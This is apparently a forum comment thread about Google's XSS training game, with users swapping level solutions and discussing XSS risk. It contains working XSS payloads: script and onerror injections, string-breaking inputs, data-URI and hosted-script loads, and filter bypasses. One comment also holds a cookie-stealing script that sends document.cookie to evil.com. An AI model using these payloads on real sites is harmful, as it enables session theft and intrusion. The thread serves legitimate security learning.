167 comments

[ 3.0 ms ] story [ 182 ms ] thread
(comment deleted)
For those interested in XSS challenges, there's also http://escape.alf.nu , which I think has a slightly better UI.
I hate the spoilers in the Facebook comments though.
I completed the game, but I honestly don't know: why wouldn't inject a script tag directly in level 2 work?
The hint for level 3 reads:

  As before, using <script> ... as a payload won't work
  because the browser won't execute scripts added after the 
  page has loaded.
How do you solve level 3?
Similar to level 2 - just be careful about escaping out of the image src, and making sure the rest of the line is invalidated. Think about how you would do it if you were writing JS on your own...
For me it actually worked to use a script tag, but I'm confused about why, as the hint says it shouldn't.

This is the URL I used:

    https://xss-game.appspot.com/level3/frame#'><script>alert('bla')</script>
But the hint is hinting at something more like this, I think:

    https://xss-game.appspot.com/level3/frame#' onerror="alert('bla')">
Can somebody explain why the first one worked? Are they wrong when they say that the browser won't execute scripts added after the page has loaded?
Interestingly, modern WebKit browsers include an "XSS auditor" that will refuse to run javascript sent in the request that loaded the page. It's pretty good (and open-source), so figuring out a way to have XSS without hitting the auditor is a big win for the attacker.
Why do we need the single quote after the # sign? I don't understand why and would like to know.
in the chooseTab function you have the following line: html += "<img src='/static/level3/cloud" + num + ".jpg' />";

the src opens with a single quote and looks for the 'num' var. So instead of num in the URL, you close the single quote and then close the image tag, and then run your script.

As "sbd" said, the "html +=" statement is using the "num" parameter as it is.

The real problem is the substring(1) function which passes the "num", instead of making sure the length is 1 it is allowing everything.

Might be because the script is injected during `onload`, which is arguably the very end of the page-loading process. But, yeah, the hint is clearly incorrect in the latest version of Chrome.
Because you can't have tags inside of textarea. All data inside of textarea is interpreted as text.
Nice one; I gave up trying to solve the last with the http-only google.com/jsapi and hosted my own with https, but then it occurred to me that it's even more trivial than I thought!

Checking our stuff for this mistake now ...

What's the trivial solution to this? I also wound up hosting the malicious file on my personal server...
(comment deleted)
data-uris also work: #data:text/javascript,alert('pwn')
That's what I used too. Hosting scripts is far too much like hard work...
There are apparently easier ways, but I just chucked an alert(); in my Dropbox public folder, did an //dl.dropboxusercontent.com/u/14XXX/xss.js as they serve both http and https.
(comment deleted)
I put a small gist up and hotlinked through githack.com
(comment deleted)
I used "//" to get around the http regex (but this requires using an https host as you mentioned), is there another way to get around the regex?
Spoiler: RaNDoM cApS
Use upper-case characters
(comment deleted)
i think ftp:// works too

EDIT: no, it doesn't :D

Adding a space just before the URL works just as well.
//www.google.com/jsapi?callback=alert
data:,alert('hi')
(comment deleted)
SPOILER: You need a way to defeat the regex (see other comments here). Then think about what the "foo" actually does (and read the error console).
gist.github.com serves https, so you can use it whenever you need something sent over https.
How do you solve lv4?
' after the timer value, then proceed to construct a JS expression that will be evaluated before the call to setTimer ... Hint: '99'+moo() will evaluate nicely. Don't forgot the "open" the ' again.
(comment deleted)
nope, OSX Safari
(comment deleted)
(comment deleted)
I can't figure how to close the quote after the '99 ? I realise that specifying ' on URL gets encoded to %27 but not sure how to turn that into the closing ' for startTime('99'); .....

Help!

Can you elaborate on this? I tried that and got "unexpected identifier" as a console error. Not sure how it works.
The point is to break out of the startTimer() function call, e.g.:

    startTimer('');foo();//');
The remaining '); can be commented out in order to not create any syntax errors.
SPOILER ALERT

I used this: 1'* alert()* '

(without the spaces needed for markdown here)

Could you explain why the * works in there?
JS does automatic type conversion in this case, so it's syntactically correct to multiply a string with a number (or function result). We're just interested in the side-effects of alert(), so it doesn't really matter what kind of expression we use it in, as long as it parses correctly and causes alert() to be executed (evaluated).
still not able to get :-(
Use the text input instead of the url.
(comment deleted)
You could use %2b instead of + on the URL and it'll work, or just * as mentioned above.
' + alert() + '

worked for me.

add your alert to the img onload
In the text input I put:

3') + alert('

I'm only trying to solve it for the cake.
can someone share theirs hosted script that echos and alert? :D
//dl.dropboxusercontent.com/u/18177522/google_xss_game/alert.js
Just add a foo.js file to any of your GitHub repos, grab its raw URL and pass it through rawgit.com.
They provided a hosted callback in the clues. Just change foo to alert.
The callback in the hints didn't work for me in the game, but the other suggestions here are working and quite eye opening ...

That this works is really scary if not fully surprising: data:text/javascript;base64,YWxlcnQoMTMzNyk=

Thanks jehna1 , sebslomski , all!

it works, you just gotta use it like google.com/jsapi?callback=alert
You don't need to:

data:text/javascript;base64,YWxlcnQoMTMzNyk=

I asked this question once on SO and never really got a "great" answer I was after.

If my site will only ever allow users to see their own submitted data, and never ever data another user has submitted (i.e. no general 'posts' etc) - then is there actually a XSS risk on my site?

So I'm curious if an attacker can gain anything by looking at their own XSS attack?

http://stackoverflow.com/q/10265624/1317935

If you missed something else, like a CSRF attack, an attacker could get you to submit an XSS request that sends your cookies to him.

There are other defenses against that, like having HttpOnly set on your cookies. Once you decide to let one particular thing through, though, you've lost defense in depth.

Yes. If you had an XSS vulnerability via a GET querystring parameter, an attacker could encourage a victim to visit a URL which exploited the vulnerability (or, say, iframed the URL in another page which they got the victim to visit), then the attacker could, say steal the user's auth cookie with something like <script>(new Image).src = "http://evil.com/stolencookie=" + document.cookie;</script>.
POSTs can be forged too, if another vulnerable site permits Javascript on their domain accidentally (among other ways, but that's the big one).
Isn't that CSRF, though?
CSRF is what allows you to post. XSS is what happens after it is posted.
You will be vulnerable to reflected XSS but not persistent XSS attacks.

Persistent attacks are generally considered to be more dangerous, but reflected attacks are still quite bad.

I think the real answer to this one is not really. Most of the possible attacks are either unrealistic or only possible if you're doing something stupid to begin with.

That said, there is still no excuse to trust user input. Always protect against XSS like you always protect against SQL injection.

Do you have CSRF protection on login? If not, an attacker can add an XSS attack to their own account, then log the victim into the attacker's account by submitting a cross-site post request with their username and password. This could potentially then read data from any other accounts the victim is logged in to at the same time. If you don't support multiple simultaneous logins, it could still allow the attacker to generate a phishing page, at your URL, which sent them back any data the user entered.
Wee, cake is not a lie this time. Nice!
Ah, I'm supposed to toggle the "Target code" box :) Ugh, I used DevTools to look at the <iframe> code for the first 3 steps.
What is lvl2's answer? I'm trying:

<img src='invalid_link.png' onerror="this.src='alert(1);'">

just onerror="alert(1)" :)
I did <a onclick="alert('hakz');">click</a>
Me too, except I used a button tag. Feels like cheating though.
My solution was:

     <img src="foo" onMouseOver="alert(33);"
Interesting to see so many people used onError instead.
img src='garbage' onerror='script' is gauranteed to auto execute, where mouseover requires the user to mouse over the element.
onerror= is usually the one used in CTF and XSS examples!
One of the hints says you can use onError()

I'm sure that's where most people are getting it from.

I had fun with this; definitely a good mini game to learn more about XSS, although it's a pitty that you can cheat-pass a level simply by appending '/record' to the end of the URL. (Granted it's just a game)

I.e. https://xss-game.appspot.com/level1/record allows you to go straight onto level 2.

Anywhoo, HackThisSite is similar & worth checking out (albeit it covers a wider range of web app security issues)

Hello there.

How can you solve level 2 ? I used next sentence, but, it don't work.

<img src=x onerror=prompt(/xD/)>

Any suggest ?

Does anyone know how to submit corrections to Google? I've not been able to find a way after noticing a few mistakes on Google's XSS help page. There are a few examples using an image tag but the tags haven't been closed properly:

https://www.google.com/about/appsecurity/learning/xss/index....

e.g. "Now, enter <img src='' onerror="alert(document.cookie);" and hit 'Share status!'."

Some of their products have bug trackers. That said, I submitted some fixes to their Android docs in the Android issue tracker years ago. Really obvious stuff like where their sample code would cause a crash due to trying to start a dialog with the wrong type of context, etc.. They never fixed them. So there is essentially no way. They apparently have a bug bounty system, but you would have to exploit their mistakes to do injection or something before the mistake would qualify.
Thanks for at least attempting to contribute! If you'll point me towards the patches, or at least the bad docs, is be happy to help get them fixed.
Hey, thanks - it's a valid concern, though an important point (which isn't really well explained in the document) is that this payload will work even if the tag isn't properly terminated.

One of the reasons for using such broken payloads is to demonstrate that browsers will happily parse broken markup and that approaches such as removing "<.*>" won't be effective as a technique to prevent XSS (because such a regexp won't match an unterminated tag like the example you pointed out).

Still, it could at least use a better explanation. The documentation fairy will take a look!

Thank you for this explanation. It makes sense to me now as before I would have expected the "<.*>" approach to make it safe. It's a shame browsers are so resilient :)
Someone solved the level 6?
(comment deleted)
Hint: there are other URL schemes.
you can use ftp or just prepend a space before http
Level 4 has a bug. Entering a string in the text box for the timer solves the problem, but putting that string directly as the get parameter in the URL doesn't. Anyone know how to report this?
What payload are you using on that level? Keep in mind that ";" is often treated as a parameter separator in URLs, similarly to &. If you put it into the mock URL bar it will terminate the value of your parameter (see also http://en.wikipedia.org/wiki/Query_string#Web_forms)

PS. Consider it reported, thanks!

Escaping the ';' works on that one
Also using the ',' operator works.
Do you have a '+' in your string? In URL it's interpreted as a space, use '%2B' instead.
Thankyou. I was trying my payload but couldn't get it to work. I'm sure there's a better way to do it.
This is great! XSS is one of the hardest things to get right when it comes to security. I'll be sure to complete all the challenges, because I'm working on a product that could use some good HTML sanitizing.
on level 5 i tried to modify the url, but my quotes are automatically encoded, also tried encoding it using %22.. but didn't work.. I'm using chrome on osx, could it be a browser thing, i managed to get it to work by manually modifying the html using the developer tools :p
last hint helped me
Their background image is successfully reproducing the nauseating effects of this monitor test [1]. I can't look at it for long without experiencing physical discomfort.

Perhaps disabling it is part of the game.

[1]: http://www.lagom.nl/lcd-test/inversion.php

Fun! Level 6 failed to load any widgets, evil or otherwise, in Chrome; I had to switch to Firefox and redo the whole test. For my external script I used http://pastebin.com/raw.php?i=15S5qZs0, although I don't think the lack of a .js extension there was the problem.
Weird. It worked fine for me in chrome.
got the same problem, it only works with a https address !
Nope. Works even if you use an address without http, but beginning with only "//"
In that example "//" is just another way to say "https://", though.
I had the same issue, I think it depends on browser configuration. Some browsers disallow http content on https pages.
I hope this isn't a spoiler, but remember there are other ways to load resources without an external request. You can pass that stage without any requests to external servers.
Care to spoil how? I used an external server (Dropbox), but I'd love to know how to do it without.
SpoilersrandomletterssdataurlSpoilermorerandemletters
I had to manually remove the https:// in front of the URL for it to work. The following error is:

[blocked] The page at 'xss-game' was loaded over HTTPS, but ran insecure content from 'script-url': this content should also be loaded over HTTPS.

That was a lot of fun, appropriate amount of difficulty for noobs like me.

The best part is the hints, too many of these sites have points where I go "Oh, well I don't know how to do this, and I don't see how I could figured it out, so I guess I'll just leave"